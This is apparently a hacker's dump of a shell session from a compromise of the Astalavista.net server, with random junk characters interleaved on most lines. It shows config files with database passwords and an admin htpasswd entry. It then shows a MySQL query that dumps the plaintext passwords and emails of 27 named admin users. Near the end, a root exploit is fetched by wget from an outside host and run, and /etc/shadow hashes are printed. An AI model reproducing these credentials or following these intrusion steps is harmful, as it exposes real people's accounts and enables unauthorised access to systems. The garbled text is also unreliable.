8 W2 ^, x/ @6 B7 |4 O+ Ndrwxr-xr-x 7 astanet astanet 4096 Jan 5 2006 _0mysql0 c% ?4 \* E+ o0 a) [
drwxr-xr-x 7 astanet astanet 4096 Dec 22 14:16 链接标记astanet@astalavista.com8 @& v* R) J( j! }7 t
drwxrwxrwx 2 astanet astanet 4096 Jan 5 2006 backend
8 ]) G# T2 U( D9 ldrwxr-xr-x 2 astanet astanet 4096 Oct 24 2006 banner) l4 {4 b; K" M7 G2 s1 i
-rw-r–r– 1 astanet astanet 25724 Apr 4 2006 banner.jpg: W, G8 D: y2 ?0 }5 t! a
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 config' d7 \2 L [) R; b
drwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 cron
4 H7 }5 v% d( n7 J: g9 jdrwxr-xr-x 11 astanet astanet 4096 Jan 5 2006 dvd
& c) Y5 }- F a9 ] p2 @-rw-r–r– 1 astanet astanet 36 Jan 5 2006 error.php w: |1 ^: J+ V. p6 B, Q
-rw-r–r– 1 astanet astanet 1406 Jan 5 2006 favicon.ico
6 e, n" h/ `1 B( s( fdrwxrwxrwx 2 astanet astanet 4096 Dec 15 2006 feed
2 `3 G/ j9 ?( f: ydrwxr-xr-x 3 astanet astanet 4096 Dec 8 2006 flashtour' K9 q! R3 @$ A: D5 |9 G
-rw-r–r– 1 astanet astanet 18 Jan 5 2006 htaccess# X9 m+ n3 X# T% B0 V5 j& y
-rw-r–r– 1 astanet astanet 585 Mar 24 14:50 .htaccess
9 k5 Q% E2 T: I: |-rw-r–r– 1 astanet astanet 398 Jan 5 2006 index1.php; W* I. w$ |& c3 R& ?# A3 T& W
-rw-r–r– 1 astanet astanet 1036 Jan 5 2006 _index.html
4 l) d+ I2 V1 z1 c$ r-rw-r–r– 1 astanet astanet 6880 Dec 23 14:44 index.php" Y6 R G% K& _; u, j! E9 g
-rw-r–r– 1 astanet astanet 676 Mar 21 2006 index_redirect.php7 H2 ~0 J$ H6 Y9 ?
-rw-r–r– 1 astanet astanet 739 Feb 24 2006 index.swf
& Z6 K" w( t* h/ j! J6 Ydrwxr-xr-x 4 astanet astanet 4096 Oct 18 2006 irc
8 S% Q* S, p/ X2 E9 [drwxr-xr-x 4 astanet astanet 4096 Aug 11 2006 lang
g8 g: Z3 J& d: A8 gdrwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 lib
' D5 N- ?7 V) odrwxr-xr-x 6 astanet astanet 4096 Aug 11 2006 log
8 `- E T! \. E( v3 H. M- sdrwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 member& ~; @) [4 L' h2 D4 I3 a
drwxrwxrwx 5 astanet astanet 4096 Jun 4 00:03 memberdata
2 {, Z/ @: d# y" `drwxr-xr-x 2 astanet astanet 4096 Jan 5 2006 new* X7 J) z- r' L& A
-rw-r–r– 1 astanet astanet 7219 Feb 24 2006 pix1.swf/ I* B% a; V8 m d$ n9 y
drwxr-xr-x 2 astanet astanet 4096 Oct 27 2006 re! R5 Y6 T5 }1 Y' l. c
-rw-r–r– 1 astanet astanet 23 Jan 5 2006 robots.txt, r! U' u2 u4 h# F( R0 U
drwxr-xr-x 3 astanet astanet 4096 Aug 11 2006 rss. M7 m ` n, q4 y
drwxr-xr-x 39 astanet astanet 4096 Dec 13 2007 sources' n) |. k6 i& D& N6 |
drwxrwxrwx 3 astanet astanet 4096 Feb 2 15:40 temp_com
8 e3 {& O3 W* Qdrwxr-xr-x 7 astanet astanet 4096 Aug 11 2006 themes
% O7 ]# Q" h; R# Z* [# a2 ^9 s: Jdrwxr-xr-x 2 astanet astanet 4096 Mar 14 2008 tmp_src3 Q6 c* {6 o D9 T( Y9 o/ Y
drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 tpl, O3 |. o. y% j
drwxr-xr-x 3 astanet astanet 4096 Sep 7 2006 v26 B; b; M$ e2 B2 K7 i- H% B. Q
drwxr-xr-x 16 astanet astanet 4096 Jul 5 2006 v2_old
+ o5 `$ m) W9 l. k; }; i5 J, }-rw-r–r– 1 astanet astanet 35 Dec 4 2006 webcash.php" ]) J* `, M* L& K1 t
drwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 wiki: B8 c% R. k7 N1 o! \3 g* H( p$ A, _
' `2 ]" J! g$ x+ b4 t" g
sh-3.2$ head -20 index.php2 @6 V$ S* | A* X& B
<?PHP* P: ^/ ~$ j. W3 K. k6 f" V! p1 V
/**
# @2 R2 D1 X( i* Mainfile (external) for astalavistaNET v2.0' F9 J3 J2 ?) w( L# ?0 [
*
3 L# [( ~+ c ]* @copyright Astalavista IT Engineering GmbH5 B* ?" R9 w: A6 \4 R" o
* @author Thomas Kaelin <链接标记thomas.kaelin@astalavista.ch>) [4 k! }. M3 F8 G$ H5 X* I! C+ q
* @version 1.0
- t2 C% | }! R- }" v6 g9 Y*/
+ L3 ^. t7 s. i0 x
& F$ \8 ?4 E: T6 j if ($_SERVER['PHP_SELF'] == ‘/webcash.php’) {% M/ O) I; `5 e% ~1 F4 \
$dontStartSession = false;2 t5 x) V& F2 C) W
} else {3 _3 W0 {0 O$ O0 l9 i( f
$dontStartSession = true;
7 `. j# b: I6 s, ] i }
' y' `; y3 ]; f5 r& B2 T+ [- c. w9 p require_once($_SERVER['DOCUMENT_ROOT'].’/config/com.conf.php’);) h/ r; m, J. R: e8 ]9 L+ [% C
require_once($_SERVER['DOCUMENT_ROOT'].’/config/ext.conf.php’);
7 Z+ X$ X: |1 K2 B4 m$ h; h4 K* X require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’com.class.php’);6 k. w' _& j8 q, G0 m8 k
require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’ext.class.php’);
8 G" [: D5 J* x) u6 d% I3 w3 p9 m' M2 O- r
sh-3.2$ cd config* c( b# f7 i. a2 Z6 B
sh-3.2$ ls -la, X9 E* X3 s2 m1 y7 C5 E
total 328 u: a( V2 U+ G& p& [
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 .
& b9 s; L/ @3 l0 ]$ V, P3 g7 edrwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..: _7 M5 ]3 c3 N7 |- F) G1 k
-rw-r–r– 1 astanet astanet 987 Aug 11 2006 adm.conf.php% @, Y; Y2 _& K+ I3 j7 G$ q; n
-rw-r–r– 1 astanet astanet 4937 Dec 23 15:48 com.conf.php% D$ |; V; f: |
-rw-r–r– 1 astanet astanet 913 Aug 11 2006 cron.conf.php( V* _5 F$ M8 A# V0 _
-rw-r–r– 1 astanet astanet 1668 Aug 20 2008 ext.conf.php
. ~$ y V/ \" f# ~-rw-r–r– 1 astanet astanet 2724 May 30 2007 int.conf.php
) D& P. y. w7 i& r
$ i* d+ p6 a9 o% C3 ~sh-3.2$ cat com.conf.php. |* N6 x* B' S5 y3 D0 k+ W3 t
[snip]" Y2 G7 @$ L; I' f
//member-database
& v1 t$ A6 ^, d# X6 x. F, E3 L$_CONFIG['db_mem_server'] = ‘localhost’;- f; R* X& Z R
$_CONFIG['db_mem_database'] = ‘astanet_membersystem’;5 ]( ^5 G; L; U3 w
$_CONFIG['db_mem_user'] = ‘astanet_db’;2 G* i- n$ V- q$ N7 t+ n% K+ L
$_CONFIG['db_mem_password'] = ‘TXwVrC7hbq’;5 i; T8 Y! }/ i: ~& Z: ?' X1 {7 O
$_CONFIG['db_mem_debug'] = false; //true or false
3 Z6 |* _, H! a* _8 Z# l//ads-database; m; n1 s1 \; [, P7 Q
$_CONFIG['db_ads_server'] = ‘localhost’;4 K B' w3 ?, E. o7 d8 t4 \
$_CONFIG['db_ads_database'] = ‘astanet_ads’;
& J8 k0 s$ S. U$_CONFIG['db_ads_user'] = ‘astanet_db’;, ^0 c$ K# y# B9 r6 w9 d7 E3 s$ L
$_CONFIG['db_ads_password'] = ‘TXwVrC7hbq’;/ J' K8 r6 Y6 L. S5 e
$_CONFIG['db_ads_debug'] = false; //true or false/ k/ G2 K" p( p
//rainbow-database, b. L! L: C, d) _4 O5 E# v5 f
$_CONFIG['db_rainbow_server'] = ‘212.254.194.163′;
) P! Q& L5 l4 y4 n+ Z# @7 G6 k3 I$_CONFIG['db_rainbow_database'] = ‘rainbow’;4 w. J- b* v8 }' P; F2 K7 Y
$_CONFIG['db_rainbow_user'] = ‘dinu’;
4 |+ }: G" W6 o) x) |0 f) a$_CONFIG['db_rainbow_password'] = ‘dinudinu’;+ g2 B$ F' h2 m9 P8 M! C
$_CONFIG['db_rainbow_debug'] = false; //true or false
! |: V$ C: h4 e5 N7 [6 F9 j//mailing lists database
3 ~1 o! h1 |& e8 V4 z8 \$_CONFIG['db_mailing_lists_server'] = ‘localhost’;
$ f) F$ G: g3 x* ] k7 H$_CONFIG['db_mailing_lists_database'] = ‘astanet_mailing_lists’;' k( V5 |& l G) i; ~1 }$ R
$_CONFIG['db_mailing_lists_user'] = ‘astanet_db’;
! p. h1 ~- i" I$_CONFIG['db_mailing_lists_password'] = ‘TXwVrC7hbq’;
- ]8 e) g& K: W* }/ H1 r$_CONFIG['db_mailing_lists_debug'] = false; //true or false6 `- [6 w( b$ M! g/ M+ O
//paypal+ |0 m7 k$ h1 @% A K
$_CONFIG['sub_pp_url'] = ‘链接标记[url]https://www.paypal.com/cgi-bin/webscr[/url]’;# J! s6 s! e: f2 s
$_CONFIG['sub_pp_cmd'] = ‘_xclick’;
6 k5 z) v+ m. O u+ c; k$_CONFIG['sub_pp_business'] = ‘链接标记info@astalavista.net’;
$ w% B% L3 `# s# ?. S J6 D$_CONFIG['sub_pp_noship'] = ‘1′;9 N/ F. d# K8 k5 Q% {4 a) [
$_CONFIG['sub_pp_referer'] = ‘链接标记[url]https://www.paypal.com/[/url]’;! t# L! \, @. X g) o
[snip]
" o4 g: W# s( i
0 F! r6 ?9 v6 b( G( q) rsh-3.2$ cd .. @- r0 i7 a9 }+ f
sh-3.2$ cd member
( H) a! P/ [. I! |5 Zsh-3.2$ ls -la
0 ]) e- x0 c$ z- }; O$ L/ vtotal 20/ E9 O( ^( ^- j
drwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 .
; ^& q8 I- m4 T2 P8 }8 Z, Mdrwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
# i3 X4 d5 j. O/ ^9 c3 \-rw-r–r– 1 astanet astanet 19 Jan 13 14:02 .htaccess2 |* `: o* _ u: M6 ]1 W
-rwxr-xr-x 1 astanet astanet 6709 Jan 13 14:06 index.php7 Y5 c; _; ~3 X& {3 n& h7 t+ o
sh-3.2$ cat .htaccess) Q3 V- @2 z$ G- n
SecFilterEngine off
2 E. E8 U' D, E
! x0 L" K9 ]& Q$ Fsh-3.2$ cd ..* C& b5 _; Z& W4 w2 m
sh-3.2$ cd cron4 N, l7 E4 u8 ?% t, l/ S
sh-3.2$ ls -la/ t. y3 D4 e: @" t2 i
total 168
5 f; k0 j1 ^8 }" z3 \7 Q- ^& Sdrwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 .
) n6 c6 k, V4 c# odrwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
* a3 U& A& ^% B-rw-r–r– 1 astanet astanet 1272 Jan 12 08:24 0_corefile.php% N0 f& F, j5 B7 L1 m. E3 q0 X! i
-rw-r–r– 1 astanet astanet 2356 Aug 11 2006 0_functions.php
% _' O; k) R' A" k7 n1 r; T, J; A-rw-r–r– 1 astanet astanet 3616 Dec 23 15:44 1_daily.php1 |7 |( @# G3 f1 F* E z7 p
-rw-r–r– 1 astanet astanet 527 Aug 11 2006 1_fivemin.php
6 D" [' y" l+ A- B# p5 F+ {! {: e-rw-r–r– 1 astanet astanet 5006 Dec 23 15:39 1_hourly.php
! m" t8 X4 U3 U( k- X7 X* e-rw-r–r– 1 astanet astanet 432 Aug 11 2006 1_weekly.php5 X, h3 Q0 a% g8 ?
-rw-r–r– 1 astanet astanet 2277 Aug 11 2006 2_advertising.php
m! u# b8 n& f+ S-rw-r–r– 1 astanet astanet 4882 Dec 23 15:40 2_archives.php
8 r. _7 [+ A1 d$ x3 ] |-rw-r–r– 1 astanet astanet 3784 Aug 16 2006 2_awstats.sh
0 G, c3 X+ t9 W9 _-rw-r–r– 1 astanet astanet 14894 Jan 12 08:51 2_expire.bak.php* S) C* [$ x5 Q7 V
-rw-r–r– 1 astanet astanet 14979 Jan 12 09:10 2_expire.php
8 t* W* G5 V) s5 X$ [-rw-r–r– 1 astanet astanet 7657 Aug 15 2006 2_exploitree_updater.php" h; J: ]; T' |; E) S
-rw-r–r– 1 astanet astanet 686 Dec 23 16:31 2_filesize.sh8 L( G# o! x' F/ t/ B0 ~: Z; M
-rw-r–r– 1 astanet astanet 9853 Aug 11 2006 2_keywords_old.php
% F4 `6 r5 d! Z% ^ @; X-rw-r–r– 1 astanet astanet 15664 Sep 22 2006 2_keywords.php7 }6 Y+ _, `( ?) }- W p. }1 M
-rw-r–r– 1 astanet astanet 1233 Aug 11 2006 2_proxy_checker.php
5 V; M, ]! K+ {' D-rw-r–r– 1 astanet astanet 7558 Aug 11 2006 2_proxy_collector.php. Q# u% K6 T7 i+ j# |7 r1 U
-rw-r–r– 1 astanet astanet 796 Aug 11 2006 99_create_emails.php" c8 s5 q0 g2 s) B$ B7 \6 t; o, l
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 99_lang_email. w& x7 N) J0 `" T
-rw-r–r– 1 astanet astanet 9622 Jan 6 16:04 login_reminder.php
6 n B: u4 x: A5 O-rw-r–r– 1 astanet astanet 9620 Jan 6 16:05 login_reminder_test.php
3 |2 a2 h4 Y5 ^1 A7 Q5 f) G) l @
, d# O, I0 o2 J4 Ksh-3.2$ cd ..
$ B- g- U- n, ?0 ^) N) [" N, r" x# n: `sh-3.2$ cd _0079 r1 J( L% m1 v" h
sh-3.2$ ls -la
$ e* Y/ @* J" ~0 D$ t7 itotal 24 h% h+ B, A+ K% b
drwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 .
' t5 t" ^' x7 Cdrwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
- l! T/ p7 Y# T-rw-r–r– 1 astanet astanet 96 Dec 23 15:17 .htaccess
7 O2 n+ O" ?4 e [# I2 H; a-rw-r–r– 1 astanet astanet 3263 Jan 15 2007 index.php# S0 y" R4 b: {+ m' U
-rw-r–r– 1 astanet astanet 20 Dec 27 2006 info.php
( p/ i$ M5 [. z6 v! \drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 sitemap
% ]! ^" V0 ?) n/ m8 g+ b# V, K$ o5 X% f4 F! N' R0 E9 B5 Q. _& v
sh-3.2$ cat .htaccess
8 P W+ p* O% Y9 f- lauthType Basic. @) e" F& k! H3 @) S
authName Admin
\ S* }8 v2 j! O* kauthUserFile /home/astanet/auth/.htadm_pwd
9 \% j K- u6 ?% r6 _! hrequire valid-user
% E$ d2 I/ x3 P& ?: @' |
0 e4 k' x- B6 l/ _+ }sh-3.2$ cat /home/astanet/auth/.htadm_pwd
* q) ^ e$ O( A4 qadmin2net:CR0bl65MwhfT
6 T! V/ z# D: L, I5 F* o: q
# t: f8 L8 v' F4 V3 @8 ysh-3.2$ mysql -u astanet_db -p* h7 w! p7 B/ R) u
Enter password:8 V4 W$ i+ z$ f) ~
Welcome to the MySQL monitor. Commands end with ; or \g.
1 D6 {, v R" Q# T* g( aYour MySQL connection id is 275153; s) F3 a) g" K! M
Server version: 5.0.45-community-log MySQL Community Edition (GPL) ?% x1 y9 h4 P/ G& _/ o
) C7 P8 Y2 ?" A, @: F/ E jType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
1 j% l, M, W7 D6 t2 q! m( C
6 c; L( ]- k% }) h5 U1 c C( L. emysql> show databases;% q$ H/ Y) z U" k3 c. l) U
+———————–+) s, [# T) I" Z6 W7 _0 `, p
| Database |
& D$ V7 P5 S3 N, T( p2 U+———————–+
0 ]9 O. G# Q6 M, x, e( q6 Z% A| information_schema |/ m, X1 ^. o: N, i
| astanet_ads |# Y4 U: Y- `1 l9 D; o
| astanet_mailing_lists |- z) E/ a& [) d% B, d5 s
| astanet_mediawiki |
. L, U8 P) I# d9 w2 _0 M% S| astanet_membersystem |
! l: H% b/ K4 ^; r2 d6 C9 Y7 u| test |
9 T3 Y2 Q- R: I: j* s ~& E& h8 n+———————–+" [2 q! z2 k7 Q* ?' ?( P8 ~" d
6 rows in set (0.00 sec)) @) v3 Y6 I3 C" R# v9 |
0 V7 h. l4 l. y. z8 ]4 z6 ?8 Amysql> use astanet_membersystem9 V: u( E' P0 L% c6 L; k
Database changed
8 c+ I, O' u* Amysql> show tables;+ [- o7 i0 |% U. q2 @7 ]
+———————————–+" U6 _6 e3 v8 a, b# V& _
| Tables_in_astanet_membersystem |( Q8 r! b: A% t
+———————————–+
+ s" S$ |+ K: x3 Z( S| blacklist_categories |
4 X z& {: R1 v z5 s| blacklist_content |6 e/ h2 O. L2 U2 `1 F- Y' w
| blacklist_levels |- T, ^, x. R3 Z9 P
| blacklist_mcset |8 _) H& \ i5 ?6 C
| dir_categories |
$ E1 f" u& ~" B9 r* m. C& r| dir_comments |9 W$ S* k( [) G1 c1 o" |, R; s
| dir_links |" ~0 u" _: b0 A, E
| dir_temp |, B- h O0 s( m' u, f
| dir_votes |
5 g# J4 U& o7 w2 t) X| documents |
/ t2 X; i$ `; {' L9 f, O* q| documents_categories |2 m7 i. s. \6 N, _, C& M4 X8 ?8 W, m: V
| email_content |" @$ {% Y. `# e$ w& T
| email_settings |: ^ P* i4 W9 L5 N9 v" O B- V
| exploits |
( Z3 Q& j3 T' u# d2 l G6 K9 V| exploits_categories |
' M9 E/ q& w8 k, w3 v' Y| exploittree_categories |1 a7 z5 \% k; v& Q3 b/ N1 J
| exploittree_exploits |+ w* d9 l! J+ ]+ O* n% t8 I, Q. a
| home_values |
8 o0 P0 ~! Y, `1 S| iso_countries |
- m9 V; ]" c a5 | Z| links_categories |7 `4 s% z# i0 _" f; t& [/ W
| links_records |
/ q! @: |- V# }| links_unauth |/ X8 h" t, t6 ~3 U6 V8 `5 ?0 N) v
| links_votes |- R2 P; o" M; h) F$ \( l) F, m2 w
| log |
# f6 v* G& t, o1 \4 _5 [3 p K- ?| news_categories |
8 f$ D0 m. F/ _| news_comments |
/ D$ I1 ^' P; M% j| news_emoticons |: Y7 |9 H& v$ ?" B9 M: X
| news_latest |
* H7 Z' i4 S: M: w9 b2 I! t| news_messages |5 v. \ X5 e9 A c/ ^& N. z6 P
| news_statistics |% y- O* F% i8 `: K4 a W
| news_votes |/ s7 l. x2 B8 L, y
| prices_content | @4 W' `$ o/ n( m+ \! C; o
| prices_offers |' s4 p6 H* j0 M& C6 d4 w
| rss_settings |
/ e9 m6 I1 m% ^/ r* x1 h: }3 v| sessions |* Z& D! v$ Z# E* G
| stats_signups |
: V6 p8 k( m+ {2 W! o* d* [) J0 F) T| u2u2 |1 m1 h9 f7 K6 W s
| u2u_contact |- @7 G4 S9 |7 T9 X. ]4 ?
| u2u_settings |) J6 M5 [4 E; R& \" Z( e" X+ ?: @
| user_keywords_selected_categories |
3 C) ^1 x- F) B- {: t# u: ~# k8 h| users |
; b; [; b b, w. A0 ?8 x| users_ipn_test |5 c7 f8 D% d9 e( C
| users_keyword_values |$ A) A c; R. M
| users_profile |
8 a% S. C3 {/ @| users_temp |; S, r# r8 r- S2 ^4 f+ Y1 J
| users_upgrade |" m% L3 h g8 K" a' q
+———————————–+0 p2 X8 A* V; | p
46 rows in set (0.00 sec)
% X' I8 a" M1 r& v) R; T5 X
2 ^) Z$ C3 i0 i. umysql> describe users;+ R) h4 d) d- b! y$ a
+————————–+————————————–+——+—–+———————+—————-+9 v0 Z- v/ S7 h; O; q
| Field | Type | Null | Key | Default | Extra |5 r1 c7 f( r7 z) O6 O, f ?
+————————–+————————————–+——+—–+———————+—————-+' d6 b: h: N( e
| primary_key | smallint(5) unsigned | NO | PRI | NULL | auto_increment |
9 \9 A0 @4 U7 @$ ?0 E5 T: j8 z| user | varchar(50) | NO | | | |' {* }2 f' y: z, s. p) v
| nickname | varchar(30) | NO | MUL | anonymous | |
( u! d8 W& o( e2 u G }4 J| password | varchar(30) | NO | | | |8 n3 `5 k' p6 m9 o& G' j$ C1 j& L
| userlevel | tinyint(3) | YES | MUL | NULL | |0 }! U- B/ `* t
| exp | int(8) unsigned | NO | | 0 | |
$ Q* z( A0 J' E' q9 N| email | varchar(50) | NO | | | |( A- `8 e5 e/ U& f9 B1 s; t9 a
| ip | varchar(15) | NO | | 0 | |5 h. g/ R( p/ N( J% O6 ^
| proxy | set(’0′,’1′) | NO | | 0 | |
3 q' }- ^' V2 W8 U/ O- k0 J" i. R| logtime | timestamp | NO | | CURRENT_TIMESTAMP | |# P& ]& ^2 U8 L& F# n3 @
| login_reminder_last_sent | timestamp | NO | | 0000-00-00 00:00:00 | |) Q/ O* \! w$ g* M) N& P, ]# l! S- c
| anz_in | tinyint(1) | NO | | -1 | |3 q, Q: z U! c, Z. g
| status | tinyint(1) unsigned | NO | | 0 | |
: p- x: b5 i }( L' K* U. E| checked | set(’0′,’1′,’2′) | NO | | 0 | |5 C' ^5 N; P1 v; g: M; `0 {
| freemember | set(’0′,’1′) | NO | | 0 | |# m5 s( ?6 }; K- k2 a6 T
| ordertype | set(’transfer’,'wp’,'pp’,'mc’,'CnB’) | YES | | NULL | |) x; s/ w) U+ d+ V& ~
| lang | tinytext | NO | | | |
( S9 y" k4 s% J+ ^' {| adid | smallint(6) | NO | | 0 | |* R6 `3 O3 I _# X/ @9 l/ B% J3 T
| pp_txn_id | varchar(255) | YES | | NULL | |
4 f' e# a' _3 C2 `' y5 B0 F" F( ~| cnb_transaction_id | varchar(255) | YES | | NULL | |
8 l9 C( G' `7 g; n9 C7 F| cnb_order_id | varchar(255) | YES | | NULL | |
: p: J# @- s* e| cnb_user_id | int(11) | YES | | 0 | |& |4 `: p" y0 a& ^; C: A# P, e5 T- v8 o
+————————–+————————————–+——+—–+———————+—————-+
5 u# Z' _% J& u3 u# f9 u$ p5 y: `22 rows in set (0.01 sec)1 j* r6 L t: @; ~1 M
, K4 u E: i* p1 R2 @0 i) d4 W; {
mysql> select count(*) as skids from users;
. c7 P6 C" e8 Q+——-+
* B1 Y$ J3 u$ @| skids |6 w( H4 G( [( T) d, W5 l3 x$ X0 U
+——-+7 u- E; q8 E' y& I- U
| 25199 |1 C. f- D6 k$ _* C' \6 t4 [ H9 ^
+——-+
3 l3 o# w0 h" B* h0 f$ q1 row in set (0.00 sec)5 Q* Y) X5 Z7 y+ q6 M4 k
z' Q# ~* A& Pmysql> select user,nickname,password,email from users where userlevel = 1;$ {8 X- W( D% D5 r3 a: l
+————————–+———————-+——————+———————————–+
. y) k/ _# I. Y| user | nickname | password | email |
" F) p/ G4 x- e" `/ I7 T+————————–+———————-+——————+———————————–+8 `6 ^5 `' O0 M2 G
| pascal | prozac | astaman3 | 链接标记info@astalavista.net |
6 p" p3 i/ y, k$ c: m8 ?| Ivan Schmid | rOOtless1 | astalavista4asta | 链接标记ivan.schmid@comvation.com |
& [2 v O8 J f) V# G| qreymer | Palermo | qblsw85iam | 链接标记eche@home.se |
! L& G6 H w+ B8 {6 x* _. U. q+ J0 y( i2 X| Christian Wehrli | g0atherd | hitt?74 | 链接标记g0atherd@gmx.net |
9 d- k( _/ i7 B| Andrew Blake | Minky | liq73uid | 链接标记a.blake@har.mrc.ac.uk |
9 V% Z! @8 e$ W) Q8 w| Martin Wyss | dinu | kj63;cXy | 链接标记martin.wyss@astalavista.net |
$ ~: K( u, n" O2 H+ m& L( g| Leandro Nery | Timan_no_Sanco | nery2002 | 链接标记leandronery@hotmail.com |$ U: e& D- ^: e5 S$ O x
| shaving ryans privates | ShavingRyansPrivates | memberboard313 | 链接标记shavingryansprivates1@hotmail.com |% S. e: }# |# Z V+ z. H
| Gerben van der Lubbe | Spoofed Existence | Lb59eXg5 | 链接标记spoofedexistence@hotmail.com |* q. f& d) o9 A& Y& C* D" l3 h
| David M Lee | Daremo | icG12m03 | 链接标记daremo@hackerheaven.com |8 Y* w& Y. g* L2 V8 k8 l
| David Corn | akriel | ve3uB$cUku | 链接标记akriel@fallenroot.net |
& ^; b0 T+ `. ~1 M| Thomas Kalin | Gwanun | QwErTy123 | 链接标记thomas.kaelin@astalavista.net |
. k0 [- e/ I; ]. ?% U; `# z4 [| Marcus unknown | Cra58cker | hhCr4ck06 | 链接标记unknownmarcus@hotmail.com |& b$ n0 V! `( h* T' I
| David Ellis | dellis203 | philip | 链接标记dellis@nightwatchnss.com |
& [; `; C7 q% d- \ x| Lars Christian Solberg | xeor | tF3s4|Nea | 链接标记xeor@hush.com |4 U; l0 n" Q- e" x1 {! M' j0 t1 u
| Paulo Santos | Be1er0ph0r1 | amor01 | 链接标记pmsantos@gmx.ch |1 [' |9 d, p/ g9 r7 E( G
| Thomas D?ppen | daha | asta4tom | 链接标记thomas.daeppen@astalavista.ch |
$ X ^8 R' Z- x$ J% |+ E+ p i$ V1 a| Touraj Abbasi Moghaddasi | -Crow1 | NetR0ck | 链接标记toraj.a.m@gmail.com |
* G: r* m- L% M2 k$ o# T| Fabius Bernet | traviser | wellenreiter100 | 链接标记fabius.bernet@astalavista.ch |
. ]9 c3 [2 j1 Y- j ?| Zachary McElroy | duder1 | dirty245dix | 链接标记mcelroyzj@yahoo.com |
0 ]7 V; q. I( ~4 _" z8 ]| Leron Cohen | cohen2 | leron4free | 链接标记leron@quiredmedia.com |$ Z- c2 ?# p# d
| Beatriz Pontes | anonymous1656 | pitas | 链接标记joao.pedro.pontes@gmail.com |9 Y8 J2 [! N) A6 A6 p6 w/ N& R
| Glafkos Charalambous | anonymous2086 | si99490178$# | 链接标记nowayout@webhostline.com |2 T8 u5 G4 J! Q' T+ E& T
| developer COMVATION | anonymous2402 | Ri?Q$Q$MVU | 链接标记ivan.schmid@astalavista.ch |4 ?5 B* ^# N: Q2 U5 O4 E" i/ u
| Peter Fisher | cyph3r1 | testZer025435 | 链接标记cyph3r@astalavista.com |! W" X5 [+ s2 T; A" l( \4 ~ _
| sykadul | sykadul | ak29eral | 链接标记sykadul@gmail.com |
# }% ]1 B& k; ]+ V2 h- {( w| Ronny Janzi | commander1 | mpbdaagf6m | 链接标记ronny.janzi@astalavista.ch |
$ ~% @4 N% R) E% L' _2 M- A, _+————————–+———————-+——————+———————————–+
; m* h2 P0 f0 J* ]& X" z* a27 rows in set (0.00 sec)
. C$ L4 s! X8 {8 e( @) q9 N5 B5 m& h5 f+ P* u6 `5 F
mysql> exit;
+ G3 ~: F/ a" g5 E4 oBye
, y7 ~. C& s/ U3 F! m! |& M. H, V7 v; E9 e, g2 n. ?! u" }
[~] plaintext passwords? yes,* ^# \6 T# `" B" ?6 F
Those so called “security professionals” who charge you $6.66 / month to
/ V' t w- C8 Z9 D+ g9 b) Mregister at their hack-proof portal, save your passwords in plaintext…
6 R+ `" ?+ }% Z" m" d) K% H) hbrilliant!
4 E3 @2 }7 z7 H
0 I, q3 W2 ]7 E( l# ]0 N[~] This been fun but we want more.
1 ^: x3 z; O' n2 T9 K, D" L3 w% e4 o7 B: o3 ~. M
sh-3.2$ uname -a
' t! M& U8 {* ]# |3 N$ g9 {Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux5 x1 H U- O' _: a3 X" z
sh-3.2$ wget 链接标记[url]http://anti.sec.labs/g0troot[/url]# ]) I) [; E: ]8 v% W0 }" H
–13:33:37– 链接标记[url]http://anti.sec.labs/g0troot[/url]& V u: y5 _3 {' v3 ^5 E3 H3 M! r
Resolving anti.sec.labs… 13.33.33.372 R0 i& d1 }0 {* \% ^' n
Connecting to anti.sec.labs|13.33.33.37|:80… connected.
7 Q/ _6 B9 G( R6 Y* c3 L/ K# LHTTP request sent, awaiting response… 200 OK
4 T5 G+ p/ I# h5 j$ B- `" U# _" {" PLength: 18200 (18K) [text/plain]
, d+ b: L: f- ^: l4 Q6 _4 {6 X) uSaving to: `g0troot’1 R& |, s" y7 I, y6 X+ ]% |" Y
* j9 X. S4 T/ E' b1 O$ h( M0 i
100%[=========================================================================================================================================>] 18,200 58.6K/s in9 j* L, J" m0 _% K$ e. c
0.3s
% p0 J1 G9 ?6 Y" N/ m D, v
. b; D4 \+ g3 c9 u18:55:14 (58.6 KB/s) - `g0troot’ saved [18200/18200]
' s# M2 ~# U' O: S F4 {3 P- T0 ^+ r3 v* m- I
sh-3.2$ ./g0troot -i x86_64# M' V, O/ _9 j/ c1 W* e
[+] g0troot - anti.sec.labs
6 _; u- x' Y0 E, R4 v[+] Target: 2.6.18-128.1.10.el5
& X1 y, D% F/ L8 q! O- N8 v* Q4 s7 b* k[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>], H J* K, n6 b7 o1 H a
6 w1 U2 U j8 L" t0 ]2 M. z" n* d[+] r00tr00t# a4 p( M# d/ K- M$ t5 g
[~] Executing shell…9 m! C4 g9 c( [& H. H- _9 f
" I6 Q T7 }7 csh-3.2# id# A: P4 [/ B" B5 V8 B% H3 \
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
2 R b3 N M9 W% w E5 c' @8 z. L7 {9 W
sh-3.2# cat /etc/shadow
! C8 b5 j! D, h' f, zroot 1$P/3ZMAgv$E9B4mX02s1Xrimj46V602.:14015:0:99999:7:::
9 Y4 d, N3 }7 m: T( ~ t[snip]
$ y* H8 M/ }' [" @! [admin1$sbycsEGo$d81laShnxFiziFaQMH32F.:13770:0:99999:7:::
